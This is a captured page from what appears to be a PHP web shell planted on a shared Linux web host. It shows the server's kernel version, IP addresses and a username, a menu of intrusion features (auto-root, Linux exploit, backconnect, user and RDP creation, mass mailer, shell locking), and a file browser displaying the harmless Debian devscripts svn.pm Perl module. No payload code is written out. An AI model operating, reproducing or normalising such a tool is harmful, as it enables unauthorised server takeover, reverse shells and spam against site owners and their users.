Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Devscripts /
Uscan /
[ HOME SHELL ]
Name
Size
Permission
Action
Ctype
[ DIR ]
drwxr-xr-x
CatchRedirections.pm
494
B
-rw-r--r--
Config.pm
13.13
KB
-rw-r--r--
Downloader.pm
10.66
KB
-rw-r--r--
FindFiles.pm
7.87
KB
-rw-r--r--
Keyring.pm
5
KB
-rw-r--r--
Output.pm
2.85
KB
-rw-r--r--
Utils.pm
14.66
KB
-rw-r--r--
WatchFile.pm
16.29
KB
-rw-r--r--
WatchLine.pm
64.78
KB
-rw-r--r--
_vcs.pm
2.71
KB
-rw-r--r--
_xtp.pm
2.84
KB
-rw-r--r--
ftp.pm
10.51
KB
-rw-r--r--
git.pm
5.57
KB
-rw-r--r--
http.pm
17.39
KB
-rw-r--r--
svn.pm
1.86
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : svn.pm
package Devscripts::Uscan::svn; use strict; use Cwd qw/abs_path/; use Devscripts::Uscan::Output; use Devscripts::Uscan::Utils; use Devscripts::Uscan::_vcs; use Dpkg::IPC; use File::Path 'remove_tree'; use Moo::Role; ###################################################### # search $newfile $newversion (svn mode/versionless) ###################################################### sub svn_search { my ($self) = @_; my ($newfile, $newversion); if ($self->versionless) { $newfile = $self->parse_result->{base}; spawn( exec => [ 'svn', 'info', '--show-item', 'last-changed-revision', '--no-newline', $self->parse_result->{base} ], wait_child => 1, to_string => \$newversion ); chomp($newversion); $newversion = sprintf '0.0~svn%d', $newversion; if ( mangle( $self->watchfile, \$self->line, 'uversionmangle:', \@{ $self->uversionmangle }, \$newversion ) ) { return undef; } } ################################################ # search $newfile $newversion (svn mode w/tag) ################################################ elsif ($self->mode eq 'svn') { my @args = ('list', $self->parse_result->{base}); ($newversion, $newfile) = get_refs($self, ['svn', @args], qr/(.+)/, 'subversion'); return undef if !defined $newversion; } return ($newversion, $newfile); } sub svn_upstream_url { my ($self) = @_; my $upstream_url = $self->parse_result->{base}; if (!$self->versionless) { $upstream_url .= '/' . $self->search_result->{newfile}; } return $upstream_url; } *svn_newfile_base = \&Devscripts::Uscan::_vcs::_vcs_newfile_base; sub svn_clean { } 1;
Close